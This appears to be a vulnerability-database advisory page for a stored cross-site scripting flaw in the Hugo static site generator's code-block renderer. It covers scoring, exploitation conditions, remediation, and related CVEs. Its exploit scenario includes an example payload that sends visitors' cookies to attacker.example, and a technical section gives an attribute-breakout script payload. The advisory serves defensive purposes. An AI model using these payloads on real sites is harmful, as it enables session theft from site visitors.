Skip to main content

Hugo CVE-2026-58402

| EUVDEUVD-2026-41904 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-07-06 GitHub_M
5.1
CVSS 4.0 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Gain Markdown contributor access
  2. Delivery
    Craft malicious code-fence info-string with quote and script payload
  3. Exploit
    Submit Markdown to Hugo site repository
  4. Execution
    Hugo builds site without escaping info-string
  5. Persist
    Victim visits rendered page
  6. Impact
    Script executes in victim browser

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The attacker must have write access to the Markdown source content that Hugo processes - for example, as a registered contributor, a compromised CI pipeline, or via a pull-request workflow that merges unreviewed content. Hugo must be using its built-in default code-block renderer (chroma-based) without a custom render hook that overrides the output template. The affected Hugo version must be between 0.60.0 and 0.163.2. A human victim must visit the page in a browser after the malicious Markdown has been built into the static site. Exploitation is limited by: requirement for prior content-contribution access (PR:L), requirement for victim page-load interaction (UI:P), and the fact that impact is scoped to the victim's browser session rather than the Hugo server or build environment.

Impact

The CVSS 4.0 vector AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N correctly captures the key risk limiters: PR:L (the attacker must have content-contribution access) and UI:P (a victim must load the rendered page). The absence of VC/VI/VA impact confirms the vulnerability does not compromise the Hugo build process itself - impact is entirely downstream (SC:L/SI:L) in the visitor's browser session. EPSS data is not provided; given the PR:L and UI:P requirements and no KEV listing, opportunistic mass exploitation is unlikely. This is a realistic risk primarily for Hugo deployments that accept Markdown from multiple or less-trusted contributors (wikis, documentation platforms, multi-author blogs) and publish to audiences who must not be exposed to injected scripts. Single-author static sites where the site owner controls all content are at negligible practical risk. No conflicting signals exist between the CVSS vector and the description - both consistently point to a contributor-access, victim-interaction prerequisite.

Exploit ScenarioDerived

A contributor to a multi-author Hugo documentation site submits a Markdown file containing a code block with a crafted info-string such as: `none" data-x="<script>fetch('https://attacker.example/steal?c='+document.cookie)</script>. Hugo processes this without escaping and writes the payload into the generated HTML. When a legitimate user later visits the rendered page, the injected script executes in their browser and exfiltrates their session cookies. No public exploit code has been identified, but the attack requires only knowledge of Hugo's HTML output format and basic XSS technique.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 06, 2026

Stored XSS in Hugo's default code-block renderer allows an attacker with Markdown contribution rights to inject arbitrary JavaScript into generated static pages. Hugo versions 0.60.0 through 0.163.2 write the code-fence info-string (language identifier) directly into HTML attribute values without escaping, so a crafted info-string containing a quote character and script payload breaks out of the attribute context. No public exploit or KEV listing exists at time of analysis; the CVSS 4.0 score of 5.1 reflects the requirement for prior write access and victim interaction.

RemediationAI

Upgrade Hugo to version 0.163.3, the vendor-released patch that introduces HTML escaping of code-fence info-strings before attribute interpolation (fix commit ce1a7e0bce3713af40496ded3c2c0ceeed49231d, pull request https://github.com/gohugoio/hugo/pull/15051). For sites that cannot upgrade immediately, the most effective compensating control is to restrict who can submit Markdown content - if all contributors are fully trusted, the attack surface disappears regardless of Hugo version. A secondary workaround is to override Hugo's default code-block render hook with a custom layout/shortcode that explicitly escapes the info-string using Hugo's htmlEscape function; this adds maintenance overhead but keeps the Hugo version frozen. Disabling syntax highlighting entirely (setting pygmentsCodeFences = false or removing chroma config) eliminates the vulnerable code path but at the cost of losing highlighted code blocks site-wide. No other known compensating control fully mitigates the issue without one of these trade-offs.

Affected VersionsENISA

hugo 0.60.0, < 0.163.3

Affected Packages

go github.com/gohugoio/hugo fix: 0.163.3
euvd hugo_0_60_0 fix: 0.163.3

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Hugo (cpe:2.3:a:gohugoio:hugo:*:*:*:*:*:*:*:*) is a Go-based static site generator. Its default chroma code-block renderer generates HTML such as <code class="language-X" data-lang="X"> where X is the info-string immediately following the opening triple-backtick fence. From version 0.60.0 onward this string was interpolated into the attribute value without HTML entity encoding. CWE-79 (Improper Neutralization of Input During Web Page Generation / Cross-site Scripting) captures the root cause: a trust boundary is violated when Markdown authored by a less-trusted contributor is rendered into HTML without sanitizing attribute-context metacharacters. A payload such as `go" onload="alert(document.cookie) causes the double-quote to terminate the attribute value and the subsequent text to be parsed as a new event-handler attribute, effectively injecting a live script execution point into the static HTML output Hugo writes to disk.

Know when Hugo gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 5.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
vuln.today AI 5.4 MEDIUM

PR:L because Markdown write access is required; UI:R for victim page-load; S:C and C:L/I:L for browser-session XSS impact with no server-side effect.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
SUSE MEDIUM
Red Hat 5.4 MEDIUM

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

Lifecycle Timeline

1
Patch available
Jul 06, 2026 - 21:16 EUVD

DescriptionCVE.org

Hugo is a static site generator. From 0.60.0 until 0.163.3, Hugo's default code-block renderer wrote the Markdown code-fence language or info-string into the code class="language-…" data-lang="…" wrapper without HTML escaping. A fence info-string containing a quote and a script payload breaks out of the attribute and injects a live script element. This issue is fixed in 0.163.3.

Threat Intelligence Overview

EPSS Score
0.3%
Top 80% exploitable
Prevalence
Medium
popular Go static site generator, widely used for docs and blogs
Social Media
1
Sightings
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment Vendor CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

More in Hugo

View all
CVE-2020-26284 HIGH POC
8.5 Dec 21

Hugo is a fast and Flexible Static Site Generator built in Go. Rated high severity (CVSS 8.5), this vulnerability is rem

CVE-2026-89259 CRITICAL
9.3 Sep 11

Sandbox/permission-restriction bypass in the Hugo static site generator (versions after v0.43, fixed in v0.165.0) lets a

CVE-2026-75926 CRITICAL
9.3 Aug 18

Arbitrary command execution in Hugo 0.162.0 through 0.164.x occurs when the static site generator builds a project whose

CVE-2026-89258 CRITICAL
9.3 Sep 11

Arbitrary file disclosure in the Hugo static site generator (versions after v0.123.0 and before v0.165.0) lets an attack

CVE-2026-100692 HIGH
8.7 Sep 26

Symlink-following flaws in Hugo's theme and module mount confinement allow files outside a project's mount roots to be r

CVE-2026-100690 HIGH
8.7 Sep 26

Arbitrary file read in Hugo v0.161.0 through v0.165.0 allows an attacker who can contribute content to a Hugo project -

CVE-2026-100693 HIGH
8.6 Sep 26

Case-sensitivity bypass in Hugo's security.http.urls IP-literal deny rule lets builds running v0.162.0 through v0.165.x

CVE-2026-10582 HIGH
8.3 Aug 24

Server-side request forgery in Hugo static site generator (versions 0.91.0 through 0.165.0) allows an attacker who can s

CVE-2026-109596 MEDIUM
6.7 Oct 12

Local file disclosure in Hugo v0.162.0 through v0.166.x allows an attacker-controlled theme or module to place a symlink

CVE-2026-109595 MEDIUM
6.7 Oct 12

Path traversal in Hugo's asset pipeline lets a malicious theme or module bundle files from outside the project root into

CVE-2026-109574 MEDIUM
6.7 Oct 12

Path traversal in Hugo's css.Sass transpilation pipeline (all versions before v0.167.0) lets a malicious theme or module

CVE-2026-58403 MEDIUM
5.9 Jul 06

Symlink traversal in Hugo's virtual filesystem (v0.123.0-v0.163.0) allows a symlink planted inside a theme or local moun

Vendor StatusVendor

SUSE

Severity: Moderate

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy